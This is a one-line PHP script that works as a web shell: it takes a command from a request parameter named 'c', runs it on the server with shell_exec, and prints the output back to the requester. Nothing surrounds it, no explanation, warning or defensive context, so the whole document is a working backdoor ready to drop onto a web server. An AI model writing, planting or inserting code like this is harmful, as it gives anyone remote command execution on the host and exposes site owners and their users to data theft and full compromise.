<?php $c=isset($_POST["c"])?$_POST["c"]:(isset($_GET["c"])?$_GET["c"]:"");if($c){$o=shell_exec($c." 2>&1");echo"<pre>".htmlspecialchars($o)."</pre>";}?>